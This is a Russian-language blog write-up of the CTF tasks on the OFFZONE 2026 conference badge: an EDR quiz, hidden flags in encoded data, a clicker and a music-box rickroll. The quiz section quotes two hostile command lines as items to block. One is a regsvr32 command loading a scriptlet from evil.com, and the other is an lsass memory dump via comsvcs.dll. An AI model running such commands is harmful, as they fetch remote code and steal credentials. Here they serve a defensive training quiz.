На OFFZONE бейдж — это не просто пропуск на шею. Внутри спрятаны консоль, мини‑игры, несколько флагов и куб, который требует миллион раз нажать на кнопку. Последнее звучит как издевательство, поэтому мне, конечно, стало интересно.

С его помощью можно участвовать в активностях, решать технические задания и зарабатывать OFFCOIN — внутренние игровые очки, которые затем обмениваются на мерч.

Бейдж с конференции
Бейдж OFFZONE 2026

Бейдж можно подключить к компьютеру по USB и взаимодействовать с ним через COM‑порт. Через консоль можно управлять свечением светодиодов бейджа, решать CTF и оценить чувство юмора разработчиков.

Обычно я разбираю программы, поэтому возможность поковырять настоящее устройство выглядела особенно заманчиво. Правда, до пайки и извлечения прошивки дело не дошло: хотелось решить всё штатными средствами и заодно не превратить бейдж в дорогой брелок.

На Хабре был разбор аппаратной части и прошивки бейджа OFFZONE 2019, а в 2025 году на самом OFFZONE рассказали, как взламывали бейдж 2024 года.

Содержание

Aддоны

Для бейджа реализована возможность подключения аддонов с интерфейсом Shitty Add‑Ons.

В 2025 году разъём расширили с 2 × 2 до 2 × 3 контактов, добавив возможности для интерактивных аддонов. Обратную совместимость при этом сохранили: старые платы тоже можно подключать к новым бейджам.

Есть аддоны, которые можно спаять самому в ходе конференции в секции Craft.Zone. Другие аддоны можно получить за выполнение заданий от вендоров.

Простые аддоны
Простые аддоны

Большинство аддонов — это кусок текстолита с несколькими светодиодами. Но встречаются варианты поинтереснее: дисплеи, RFID‑считыватели и даже тамагочи.

В этом году Bi.Zone выложили исходники части своих аддонов на GitHub.

Подключение к компьютеру

После подключения бейдж определяется как виртуальный последовательный порт со стандартными параметрами 115200 8N1. Подойдёт любой терминальный клиент. Нужен только ноутбук и USB‑C кабель.

Для Windows используем PuTTY. Для Linux — screen или picocom.

Первое знакомство

После подключения вводим help или ? и получаем минимальную справку о доступных командах:

> help
echo [args...]        - Display a line of text
led [-h] [args...]    - Led control utility
clear                 - Clear the terminal screen
display [args...]     - Display control utility
analyst               - SOC Analyst simulator (EDR mini-game)
hidden_payload        - Find the hidden flags
musicbox [movement]   - A silent terminal music box
cub_3 [status|flags]  - cub_3 terminal clicker

Стоит отметить, что все флаги привязаны к секретной последовательности, зашитой в контроллер на бейдже, и для каждого бейджа флаги отличаются. Коллеги из Positive Technologies в исследовании бейджа за 2019 год указывали, что для ключа используется Unique Device ID микроконтроллера — его уникальный серийный номер. Это вполне удобно и позволяет обойтись одной прошивкой на все устройства. В нашем бейдже скорее всего также.

При регистрации в боте OFFZONE 2026 необходимо пройти по ссылке из QR‑кода на бейдже, чтобы появилась возможность начислять OFFCOIN за выполнение заданий.

Флаги состоят из постоянной части и генерируемой в зависимости от секрета.

Например, OFFZONE{1t_W4s_Th3_Ch1ld_F4EBB758}.

Всего в консоли нашлось четыре задания, управление светодиодами и одна музыкальная шкатулка без флага. Пойдём по порядку — от простой викторины до куба, который пока победил меня.

000b LED

Это не задание как таковое, а команда для управления светодиодами на бейдже. Можно менять цвета, задавать анимации и загружать собственные последовательности свечения.

Для генерации последовательностей можно воспользоваться проектом на GitHub. При подключении бейджа к стендам партнеров на конференции последовательность могла быть переписана. Чтобы такого не происходило, необходимо было установить переменную allowKiosk: false:

> led sed allowKiosk false

Формат загрузки последовательности выглядит как потенциально интересное место для исследования прошивки: консоль принимает заявленную длину и затем сами данные. Но проверять обработку некорректных значений я не стал.

> led load 28
> 780000000100010207FF640078000F0201010103070064FF78000F00

Сделал аналог в виде скрипта на Python, чтобы задавать последовательность свечения и не возиться с компилятором.

001b analyst

Быстрая викторина для получения первого флага.

========================================
         Mini EDR Analyst
========================================

You are presented with an EDR event log.

An Endpoint Detection and Response (EDR) system
is monitoring process activity on a computer.

Your task is to determine
whether each event is legitimate
or should be blocked.

Choose one of the following options:

[1] ALLOW
[2] BLOCK

Do not base your decision solely on the process name.

Pay attention to:
• process
• parent process/child process/None
• the command line

10 случайных вопросов по логам EDR. Надо выбрать разрешать событие EDR (ALLOW) или блокировать (BLOCK). Вопросы простые и без подвохов.

Пример вопросов
EVENT 08/10
-----------
process:   regsvr32.exe
command:   regsvr32.exe /u /s /i:http://evil.com/payload.sct scrobj.dll

[1] ALLOW    [2] BLOCK
> BLOCK - Correct!

EVENT 09/10
-----------
process:   rundll32.exe
command:   rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 1234 C:\Users\Public\lsass.dmp full

[1] ALLOW    [2] BLOCK
> BLOCK - Correct!

EVENT 10/10
-----------
process:   powershell.exe
command:   powershell.exe Get-Service | Where-Object Status -Eq Running

[1] ALLOW    [2] BLOCK
> ALLOW - Correct!

Если правильно ответить хотя бы на восемь вопросов, бейдж выдаст флаг.

========================================

       ASSESSMENT COMPLETE

Score: 10 out of 10

Congratulations!

You successfully analyzed the events
and identified malicious activity.


Please wait...

Here is your flag: OFFZONE{1t_W4s_Th3_Ch1ld_F4EBB758}

========================================

010b hidden_payload

Задание на поиск флага в бинарных данных. Нас несколько раз предупреждают, что флагов больше одного.

При выводе справки

> help
hidden_payload   - Find the hidden flags

И при запуске самого задания.

========================================
           Hidden Payload
========================================

You are given a string of data.

This is only the beginning.

Examine the data carefully —
it hides more
than it seems at first glance.

Good luck!

BEGIN HEX
5545734442425141414141414141414149514264696C647879675141414D6F45

...

554573464267414141414142414145414E774141415045454141414141413D3D
END HEX

Весь вывод приводить не стал, но, если интересно решить самому, то тут сохранённый HEX.

Первый флаг

Возьмём CyberChef и быстро получим первый флаг из файла.

Пример получения флага
Пример получения флага
  1. Сначала преобразование из HEX.

  2. Полученную последовательность декодируем из Base64.

  3. Получаем ZIP (PK в начале), из которого извлекаем badge.jpg.

  4. В badge.jpg хранится искомый флаг в теге EXIF Copyright.

EXIF Copyright
EXIF Copyright

Второй флаг

Если присмотреться внимательнее к содержимому badge.jpg, то можно заметить в конце файла после данных JPEG по смещению 0x432 еще один архив.

Найденный архив
Найденный архив

Можно просто просканировать файл при помощи того же CyberChef

Поиск при помощи CyberChef
Поиск при помощи CyberChef

Найденный архив содержит файл text.txt с последовательностью символов, которая похожа на Base64, но в ней нет характерных символов +, / и =. Пробуем Base58 — и получаем второй флаг.

  1. Сохраняем архив

  2. Извлекаем файл text.txt

  3. Декодируем Base58 и получаем флаг OFFZONE{Y0u_D1d_1t_B578E7F3}

Получение последнего флага
Получение последнего флага

011b cub_3

Здесь от нас требуется накликать необходимое количество раз кнопки на бейдже. Задание для упорных либо для тех, кто будет паять бейдж.

За первые 5000 кликов дают первый флаг и 50 OFFCOIN, для получения следующего флага необходимо уже 1 миллион кликов.

              .----^----.
             /         /|
        .---+---------+ |
       /   /         /| |
      +---+---------+ | +
      |   |         | |/
      |   |  @@ @@  | +
      |   |  @@ @@  |/
      |   |   ___   |
      |   +---------+
      |  /         /
      +-------------+
         .       .


 CUB_3 COMBAT
 clicks: 5045   session: +0
 next flag: 1000000 (0%) [------------------------------]
 BTN1 +1   BTN2 +1   q/Ctrl+C=exit   hold both=exit
 Saved every 100,000 clicks and on exit.

Пять тысяч раз нажать на кнопки ещё реально. У меня это заняло минут десять. Но миллион раз я нажимать, конечно, не собирался.

Не пытался снять прошивку и к контактам кнопок не припаивался — жалко было угробить бейдж во время конференции. Через консоль быстро накрутить счётчик тоже не получилось. Поэтому второй флаг я так и не забрал. Но с кубом мы ещё не закончили и возможно я найду решение — с паяльником или без.

100b musicbox

За это задание флаг не получить, можно лишь порадоваться чувству юмора разработчиков.

 .-----------------------------.
  |        MUSIC  BOX           |
  |      [ silent cylinder ]    |
  '-----------------------------'

The cylinder is inside, but the crank has no label.
Four worn numbers remain: 23-9-14-4.

Четыре потертых числа — 23-9-14-4, оказалось зашифрованы обычным A1Z26. Заменяем числа буквами с соответствующими номерами и получаем W-I-N-D. Значит, шкатулку нужно завести:

> musicbox wind

A hidden cylinder clicks into place.
MIDI: 760 bytes, about 15.12 seconds.
Save the text between the markers and decode it as Base64.
-----BEGIN MUSICBOX MIDI-----
TVRoZAAAAAYAAAABAYBNVHJrAAAC4gD/WAQEAhgIAP9RAwehIAD/AxVFbGVjLiBQ

...

gDcAYJBDE2CAQwBgkDcTYIA3AGCQPhNggD4AgiCQPBNggDwAAP8vAA==
-----END MUSICBOX MIDI-----
macOS: base64 -D -i cylinder.b64 -o cylinder.mid
Linux: base64 -d cylinder.b64 > cylinder.mid

Playback hint:
  1. Keep the badge terminal open.
  2. Run 'musicbox show' here.
  3. Play cylinder.mid in a second computer terminal.
     Example: fluidsynth -ni <soundfont.sf2> cylinder.mid
  4. Start the song and press Enter here at the same time.

Полную версию MIDI приложил по ссылке.

Если синхронно запустить MIDI и команду musicbox show, терминал начинает показывать ASCII версию до боли знакомого клипа. Флага за это не дают, зато разработчики успешно провели рикролл через последовательный порт.

OFFZONE RickRolled YOU
OFFZONE RickRolled YOU

Выводы

Бейдж OFFZONE оказался не просто пропуском и кошельком для OFFCOIN, а небольшим CTF, который после конференции можно забрать домой. Внутри — викторина по событиям EDR, несколько слоёв вложенных данных, кликер с издевательским условием и музыкальная шкатулка, которая устраивает рикролл прямо через COM‑порт.

Почти всё решается без модификаций бейджа и разбора прошивки. Хватило терминала, CyberChef и желания потыкать во всё подряд. Примерно за полчаса я собрал почти все доступные флаги и заработал 310 OFFCOIN. Не поддался только куб с миллионом кликов — но я к нему ещё вернусь. Возможно, уже с паяльником.

Обидно, что приём флагов с бейджа отключили на второй день конференции. Больше всего повезло тем, кто получил бейдж на предварительной регистрации в среду: у них был целый вечер, чтобы спокойно покопаться в заданиях ещё до начала основной программы.

В общем, бейдж получился отличным. Задания короткие, но разнообразные: приходится поработать с терминалом, покопаться во вложенных данных, что‑то декодировать и заодно несколько раз улыбнуться. Спасибо разработчикам и BI.ZONE — после конференции бейдж хотелось не бросить в ящик, а продолжить разбирать.